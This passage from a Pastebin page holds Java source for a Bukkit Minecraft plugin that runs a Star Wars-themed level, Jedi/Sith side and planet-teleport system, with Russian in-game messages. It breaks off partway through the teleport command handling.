Advertisement
Guest User

Untitled

a guest
Jun 20th, 2018
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 94.18 KB | None | 0 0
  1. package ua.gigabyteyt.jc;
  2.  
  3. import org.bukkit.command.*;
  4. import net.md_5.bungee.api.*;
  5. import org.bukkit.inventory.*;
  6. import org.bukkit.*;
  7. import org.bukkit.inventory.meta.*;
  8. import org.bukkit.event.inventory.*;
  9. import org.bukkit.event.*;
  10. import java.util.*;
  11. import org.bukkit.entity.*;
  12. import org.bukkit.event.entity.*;
  13. import org.bukkit.event.player.*;
  14. import ru.tehkode.permissions.bukkit.*;
  15.  
  16. public class Levels implements Listener, CommandExecutor
  17. {
  18. static HashMap<String, Integer> levels;
  19. static HashMap<String, Integer> kills;
  20. static HashMap<String, Integer> deaths;
  21. static HashMap<String, String> sides;
  22. private Inventory levelup;
  23. private Inventory sidejoin;
  24.  
  25. static {
  26. Levels.levels = new HashMap<String, Integer>();
  27. Levels.kills = new HashMap<String, Integer>();
  28. Levels.deaths = new HashMap<String, Integer>();
  29. Levels.sides = new HashMap<String, String>();
  30. }
  31.  
  32. public boolean onCommand(final CommandSender s, final Command c, final String l, final String[] a) {
  33. final Player p = (Player)s;
  34. if (c.getName().equalsIgnoreCase("level")) {
  35. if (a.length == 3 && a[0].equalsIgnoreCase("set")) {
  36. if (!p.hasPermission("jc.owner")) {
  37. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a&l[Commands] &e\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b!"));
  38. return true;
  39. }
  40. Levels.levels.put(a[1], Integer.valueOf(a[2]));
  41. p.sendMessage(String.valueOf(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u0438\u0433\u0440\u043e\u043a\u0430 &b")) + a[1] + ChatColor.translateAlternateColorCodes('&', " &e\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u043d\u0430 &b") + a[2]);
  42. }
  43. if (a.length == 0) {
  44. if (getLevel(p) >= Main.instance.getConfig().getInt("MaxLevel")) {
  45. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0412\u044b \u0434\u043e\u0448\u043b\u0438 \u043a \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e"));
  46. return true;
  47. }
  48. final SimpleItemStack exp = new SimpleItemStack(Material.EXP_BOTTLE, 1, "&a\u041f\u043e\u0434\u043d\u044f\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c!");
  49. final ItemStack lvlInfo = new ItemStack(Material.PAPER);
  50. final ItemMeta lvlInfoMeta = lvlInfo.getItemMeta();
  51. lvlInfoMeta.setDisplayName(ChatColor.DARK_GREEN + "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f");
  52. final ArrayList lore = new ArrayList();
  53. lore.add(ChatColor.GOLD + "\u0412\u0430\u0448 \u0443\u0440\u043e\u0432\u0435\u043d\u044c: " + ChatColor.DARK_GREEN + getLevel(p));
  54. lore.add(ChatColor.GOLD + "\u0412\u0430\u0448 \u0431\u0430\u043b\u0430\u043d\u0441: " + ChatColor.DARK_GREEN + Main.econ.getBalance(p.getName()));
  55. lore.add(ChatColor.GOLD + "\u0412\u0430\u0448 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c: " + ChatColor.DARK_GREEN + getNextLevel(p));
  56. lore.add(ChatColor.GOLD + "\u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f: " + ChatColor.DARK_GREEN + Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".price"));
  57. if (Levels.kills.get(p.getName()) >= Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".kills")) {
  58. lore.add(ChatColor.GOLD + "\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0438\u0439\u0441\u0442\u0432: " + ChatColor.DARK_GREEN + Levels.kills.get(p.getName()) + " / " + Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".kills"));
  59. }
  60. else {
  61. lore.add(ChatColor.GOLD + "\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0438\u0439\u0441\u0442\u0432: " + ChatColor.DARK_RED + Levels.kills.get(p.getName()) + " / " + Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".kills"));
  62. }
  63. if (Main.instance.getConfig().contains("levels." + getNextLevel(p) + ".extraDMG")) {
  64. lore.add(ChatColor.GOLD + "\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u043d: " + ChatColor.RED + Main.instance.getConfig().getInt("levels." + getNextLevel(p) + ".extraDMG"));
  65. }
  66. lvlInfoMeta.setLore((List)lore);
  67. lvlInfo.setItemMeta(lvlInfoMeta);
  68. (this.levelup = Bukkit.getServer().createInventory((InventoryHolder)null, 9, ChatColor.GREEN + "#levelup")).setItem(0, new ItemStack(Material.VINE));
  69. this.levelup.setItem(1, new ItemStack(Material.VINE));
  70. this.levelup.setItem(2, new ItemStack(Material.VINE));
  71. this.levelup.setItem(3, (ItemStack)exp);
  72. this.levelup.setItem(4, new ItemStack(Material.VINE));
  73. this.levelup.setItem(5, lvlInfo);
  74. this.levelup.setItem(6, new ItemStack(Material.VINE));
  75. this.levelup.setItem(7, new ItemStack(Material.VINE));
  76. this.levelup.setItem(8, new ItemStack(Material.VINE));
  77. p.openInventory(this.levelup);
  78. }
  79. return true;
  80. }
  81. if (c.getName().equalsIgnoreCase("jedicraft")) {
  82. if (a.length == 3 && a[0].equalsIgnoreCase("set")) {
  83. if (!p.hasPermission("jc.owner")) {
  84. p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a&l[Commands] &e\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b!"));
  85. return true;
  86. }
  87. Levels.sides.put(a[1], a[2]);
  88. p.sendMessage(String.valueOf(ChatColor.translateAlternateColorCodes('&', "&c&l[JEDICRAFT] &e\u0421\u0442\u043e\u0440\u043e\u043d\u0430 \u0438\u0433\u0440\u043e\u043a\u0430 &b")) + a[1] + ChatColor.translateAlternateColorCodes('&', " &e\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 &b") + a[2]);
  89. }
  90. if (a.length == 1 && a[0].equalsIgnoreCase("leave")) {
  91. if (Main.econ.getBalance((OfflinePlayer)p) < 100000.0) {
  92. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043d\u0443\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c 100.000$"));
  93. return true;
  94. }
  95. if (!Levels.sides.containsKey(p.getName())) {
  96. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0412\u044b \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u043b\u0438 \u0441\u0442\u043e\u0440\u043e\u043d\u0443"));
  97. return true;
  98. }
  99. Main.econ.withdrawPlayer((OfflinePlayer)p, 100000.0);
  100. Levels.sides.remove(p.getName());
  101. Main.instance.levelsConfig.set(String.valueOf(String.valueOf(p.getName())) + ".side", (Object)null);
  102. Main.instance.saveCustomYml(Main.instance.levelsConfig, Main.instance.levels);
  103. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &c&l\u0412\u042b \u041f\u041e\u041a\u0418\u041d\u0423\u041b\u0418 \u0421\u0422\u041e\u0420\u041e\u041d\u0423"));
  104. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  105. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u042d\u0445\u0445, \u0436\u0430\u043b\u043a\u043e \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0430\u0441\u0442\u0443\u043f\u0438\u043b\u043e \u0442\u0430\u043a \u0440\u0430\u043d\u043e"));
  106. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0432\u0435\u0434\u044c \u043c\u044b \u0435\u0449\u0451 \u043d\u0435 \u0434\u043e\u0448\u043b\u0438 \u0434\u043e \u043a\u043e\u043d\u0446\u0430, \u0430 \u0442\u044b \u0443\u0436\u0435"));
  107. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0443\u0445\u043e\u0434\u0438\u0448\u044c, \u043e\u0447\u0435\u043d\u044c \u0436\u0430\u043b\u043a\u043e, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441 \u0442\u043e\u0431\u043e\u0439 \u0431\u044b\u043b\u043e"));
  108. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u043b\u0430\u0434\u043d\u043e, \u0436\u0435\u043b\u0430\u044e \u0442\u0435\u0431\u0435 \u0443\u0434\u0430\u0447\u0438."));
  109. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  110. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &c- &2100.000$"));
  111. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  112. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0412\u044b\u0431\u0440\u0430\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u0443 &8- &b/jedicraft"));
  113. }
  114. if (a.length == 0) {
  115. if (getLevel(p) < 6) {
  116. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&e\u0427\u0442\u043e\u0431\u044b \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u0442\u044c 6-\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c!"));
  117. return true;
  118. }
  119. if (!Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".side")) {
  120. final SimpleItemStack jedi = new SimpleItemStack(Material.MAGMA_CREAM, 1, "&3\u0414\u0436\u0435\u0434\u0430\u0439");
  121. final SimpleItemStack sith = new SimpleItemStack(Material.BONE, 1, "&4\u0421\u0438\u0442\u0445");
  122. (this.sidejoin = Bukkit.getServer().createInventory((InventoryHolder)null, 9, ChatColor.GREEN + "#sidejoin")).setItem(1, (ItemStack)jedi);
  123. this.sidejoin.setItem(7, (ItemStack)sith);
  124. p.openInventory(this.sidejoin);
  125. return true;
  126. }
  127. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &c&l\u0412\u042b \u0423\u0416\u0415 \u0421\u0414\u0415\u041b\u0410\u041b\u0418 \u0421\u0412\u041e\u0419 \u0412\u042b\u0411\u041e\u0420"));
  128. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  129. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0417\u043d\u0430\u0435\u0442\u0435, \u043e\u0447\u0435\u043d\u044c \u043b\u0435\u0433\u043a\u043e \u0432\u0441\u0451 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c"));
  130. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u0434\u0430, \u0442\u043e\u0447\u043d\u043e! \u0443 \u043d\u0430\u0441 \u0434\u043b\u044f \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f"));
  131. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u043d\u0430\u0439\u0434\u0438\u0442\u0435 \u0432 \u0441\u0443\u043d\u0434\u0443\u043a\u0430\u0445 \u0438\u043b\u0438 \u0432\u044b\u0431\u0435\u0439\u0442\u0435 \u0441 \u0431\u043e\u0441\u0441\u043e\u0432"));
  132. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &2100.000$"));
  133. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  134. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &7\u041f\u043e\u043a\u0438\u043d\u0443\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u0443 &8- &b/jedicraft change"));
  135. return true;
  136. }
  137. }
  138. if (c.getName().equalsIgnoreCase("dung")) {
  139. if (a.length == 0) {
  140. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &C&L\u0414\u0410\u041d\u0416\u0418 \u0417\u0412\u0401\u0417\u0414\u041d\u042b\u0425 \u0412\u041e\u0418\u041d"));
  141. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  142. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Dung AD &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u0432 \u0410\u0434"));
  143. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Dung RAI &8- &6\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u0432 \u0420\u0430\u0439"));
  144. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  145. return true;
  146. }
  147. if (a.length == 1) {
  148. if (!Levels.sides.containsKey(p.getName())) {
  149. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0414\u0430\u043d\u043d\u044b\u0439 \u0434\u0430\u043d\u0436 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d!"));
  150. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&7\u041a\u0443\u043f\u0438\u0442\u044c \u0434\u0430\u043d\u0436\u044b \u043c\u043e\u0436\u043d\u043e \u0432 \u043b\u043e\u0431\u0431\u0438!"));
  151. return true;
  152. }
  153. if (a[0].equalsIgnoreCase("ad")) {
  154. if (p.hasPermission("jc.bost.danj")) {
  155. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("ad.jedi.world")), Main.instance.getConfig().getDouble("ad.jedi.x"), Main.instance.getConfig().getDouble("ad.jedi.y"), Main.instance.getConfig().getDouble("ad.jedi.z"));
  156. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("ad.sith.world")), Main.instance.getConfig().getDouble("ad.sith.x"), Main.instance.getConfig().getDouble("ad.sith.y"), Main.instance.getConfig().getDouble("ad.sith.z"));
  157. if (!Main.instance.getConfig().contains("ad.jedi") || !Main.instance.getConfig().contains("ad.sith")) {
  158. p.sendMessage(ChatColor.RED + "\u0414\u0430\u043d\u0436 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  159. return true;
  160. }
  161. if (getSide(p).equalsIgnoreCase("Jedi")) {
  162. p.teleport(jediLoc);
  163. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u0414\u0430\u043d\u0436:&7 \u0410\u0434"));
  164. }
  165. if (getSide(p).equalsIgnoreCase("Sith")) {
  166. p.teleport(sithLoc);
  167. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u0414\u0430\u043d\u0436:&7 \u0410\u0434"));
  168. }
  169. }
  170. else {
  171. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &66 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
  172. }
  173. }
  174. if (a[0].equalsIgnoreCase("rai")) {
  175. if (p.hasPermission("jc.bost.rai")) {
  176. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("naboo.jedi.world")), Main.instance.getConfig().getDouble("naboo.jedi.x"), Main.instance.getConfig().getDouble("naboo.jedi.y"), Main.instance.getConfig().getDouble("naboo.jedi.z"));
  177. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("naboo.sith.world")), Main.instance.getConfig().getDouble("naboo.sith.x"), Main.instance.getConfig().getDouble("naboo.sith.y"), Main.instance.getConfig().getDouble("naboo.sith.z"));
  178. if (!Main.instance.getConfig().contains("naboo.jedi") || !Main.instance.getConfig().contains("naboo.sith")) {
  179. p.sendMessage(ChatColor.RED + "\u0414\u0430\u043d\u0436 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  180. return true;
  181. }
  182. if (getSide(p).equalsIgnoreCase("Jedi")) {
  183. p.teleport(jediLoc);
  184. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u0414\u0430\u043d\u0436:&7 \u0420\u0430\u0439"));
  185. }
  186. if (getSide(p).equalsIgnoreCase("Sith")) {
  187. p.teleport(sithLoc);
  188. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u0414\u0430\u043d\u0436:&7 \u0420\u0430\u0439"));
  189. }
  190. }
  191. else {
  192. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &611 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
  193. }
  194. }
  195. }
  196. }
  197. if (c.getName().equalsIgnoreCase("jc")) {
  198. if (a.length == 0) {
  199. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &C&L\u041f\u041b\u0410\u041d\u0415\u0422\u042b \u0417\u0412\u0401\u0417\u0414\u041d\u042b\u0425 \u0412\u041e\u0418\u041d"));
  200. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  201. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Space &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u0432 \u041a\u043e\u0441\u043c\u043e\u0441 &8[&66&8]"));
  202. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Endor &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u0432 \u042d\u043d\u0434\u043e\u0440 &8[&68&8]"));
  203. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Naboo &7- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u043d\u0430 \u041d\u0430\u0431\u0443 &8[&611&8]"));
  204. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Kamino &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u043d\u0430 \u041a\u0430\u043c\u0438\u043d\u043e &8[&615&8]"));
  205. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Mustafar &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u043d\u0430 \u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440 &8[&618&8]"));
  206. p.sendMessage(ChatColor.translateAlternateColorCodes('&', " &b/Jc Hoth &8- &7\u0422\u0435\u043b\u0435\u043f\u043e\u0440\u0442 \u043d\u0430 \u041c\u0443\u0441\u0442\u0430\u0444\u0430\u0440 &8[&623&8]"));
  207. p.sendMessage(ChatColor.translateAlternateColorCodes('&', ""));
  208. return true;
  209. }
  210. if (a.length == 1) {
  211. if (!Levels.sides.containsKey(p.getName())) {
  212. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&c\u0414\u0430\u043d\u043d\u0430\u044f \u043f\u043b\u0430\u043d\u0435\u0442\u0430 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430!"));
  213. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&7\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043b\u0430\u043d\u0435\u0442 &8- &b/jc"));
  214. return true;
  215. }
  216. if (a[0].equalsIgnoreCase("space")) {
  217. if (getLevel(p) >= 6) {
  218. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("space.jedi.world")), Main.instance.getConfig().getDouble("space.jedi.x"), Main.instance.getConfig().getDouble("space.jedi.y"), Main.instance.getConfig().getDouble("space.jedi.z"));
  219. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("space.sith.world")), Main.instance.getConfig().getDouble("space.sith.x"), Main.instance.getConfig().getDouble("space.sith.y"), Main.instance.getConfig().getDouble("space.sith.z"));
  220. if (!Main.instance.getConfig().contains("space.jedi") || !Main.instance.getConfig().contains("space.sith")) {
  221. p.sendMessage(ChatColor.RED + "\u041a\u043e\u0441\u043c\u043e\u0441 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  222. return true;
  223. }
  224. if (getSide(p).equalsIgnoreCase("Jedi")) {
  225. p.teleport(jediLoc);
  226. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041a\u043e\u0441\u043c\u043e\u0441"));
  227. }
  228. if (getSide(p).equalsIgnoreCase("Sith")) {
  229. p.teleport(sithLoc);
  230. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041a\u043e\u0441\u043c\u043e\u0441"));
  231. }
  232. }
  233. else {
  234. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &66 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
  235. }
  236. }
  237. if (a[0].equalsIgnoreCase("endor")) {
  238. if (getLevel(p) >= 8) {
  239. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("endor.jedi.world")), Main.instance.getConfig().getDouble("endor.jedi.x"), Main.instance.getConfig().getDouble("endor.jedi.y"), Main.instance.getConfig().getDouble("endor.jedi.z"));
  240. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("endor.sith.world")), Main.instance.getConfig().getDouble("endor.sith.x"), Main.instance.getConfig().getDouble("endor.sith.y"), Main.instance.getConfig().getDouble("endor.sith.z"));
  241. if (!Main.instance.getConfig().contains("endor.jedi") || !Main.instance.getConfig().contains("endor.sith")) {
  242. p.sendMessage(ChatColor.RED + "\u042d\u043d\u0434\u043e\u0440 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  243. return true;
  244. }
  245. if (getSide(p).equalsIgnoreCase("Jedi")) {
  246. p.teleport(jediLoc);
  247. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u042d\u043d\u0434\u043e\u0440"));
  248. }
  249. if (getSide(p).equalsIgnoreCase("Sith")) {
  250. p.teleport(sithLoc);
  251. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u042d\u043d\u0434\u043e\u0440"));
  252. }
  253. }
  254. else {
  255. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &66 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
  256. }
  257. }
  258. if (a[0].equalsIgnoreCase("naboo")) {
  259. if (getLevel(p) >= 11) {
  260. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("naboo.jedi.world")), Main.instance.getConfig().getDouble("naboo.jedi.x"), Main.instance.getConfig().getDouble("naboo.jedi.y"), Main.instance.getConfig().getDouble("naboo.jedi.z"));
  261. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("naboo.sith.world")), Main.instance.getConfig().getDouble("naboo.sith.x"), Main.instance.getConfig().getDouble("naboo.sith.y"), Main.instance.getConfig().getDouble("naboo.sith.z"));
  262. if (!Main.instance.getConfig().contains("naboo.jedi") || !Main.instance.getConfig().contains("naboo.sith")) {
  263. p.sendMessage(ChatColor.RED + "\u041d\u0430\u0431\u0443 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  264. return true;
  265. }
  266. if (getSide(p).equalsIgnoreCase("Jedi")) {
  267. p.teleport(jediLoc);
  268. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041d\u0430\u0431\u0443"));
  269. }
  270. if (getSide(p).equalsIgnoreCase("Sith")) {
  271. p.teleport(sithLoc);
  272. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041d\u0430\u0431\u0443"));
  273. }
  274. }
  275. else {
  276. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &611 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
  277. }
  278. }
  279. if (a[0].equalsIgnoreCase("kamino")) {
  280. if (getLevel(p) >= 15) {
  281. final Location jediLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("kamino.jedi.world")), Main.instance.getConfig().getDouble("kamino.jedi.x"), Main.instance.getConfig().getDouble("kamino.jedi.y"), Main.instance.getConfig().getDouble("kamino.jedi.z"));
  282. final Location sithLoc = new Location(Bukkit.getWorld(Main.instance.getConfig().getString("kamino.sith.world")), Main.instance.getConfig().getDouble("kamino.sith.x"), Main.instance.getConfig().getDouble("kamino.sith.y"), Main.instance.getConfig().getDouble("kamino.sith.z"));
  283. if (!Main.instance.getConfig().contains("kamino.jedi") || !Main.instance.getConfig().contains("kamino.sith")) {
  284. p.sendMessage(ChatColor.RED + "\u041a\u0430\u043c\u0438\u043d\u043e \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d!");
  285. return true;
  286. }
  287. if (getSide(p).equalsIgnoreCase("Jedi")) {
  288. p.teleport(jediLoc);
  289. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041a\u0430\u043c\u0438\u043d\u043e"));
  290. }
  291. if (getSide(p).equalsIgnoreCase("Sith")) {
  292. p.teleport(sithLoc);
  293. p.sendTitle(ChatColor.translateAlternateColorCodes('&', ""), ChatColor.translateAlternateColorCodes('&', "&b\u041f\u043b\u0430\u043d\u0435\u0442\u0430:&7 \u041a\u0430\u043c\u0438\u043d\u043e"));
  294. }
  295. }
  296. else {
  297. p.sendTitle(ChatColor.translateAlternateColorCodes('&', "&c&l\u0423 \u0432\u0430\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c!"), ChatColor.translateAlternateColorCodes('&', "&e\u041d\u0443\u0436\u0435\u043d &615 \u0423\u0440\u043e\u0432\u0435\u043d\u044c"));
  298. }
  299. }
  300. if (a[0].equalsIgnoreCase("mustafar")) {
  301. if (getLevel(p) >= 18) {
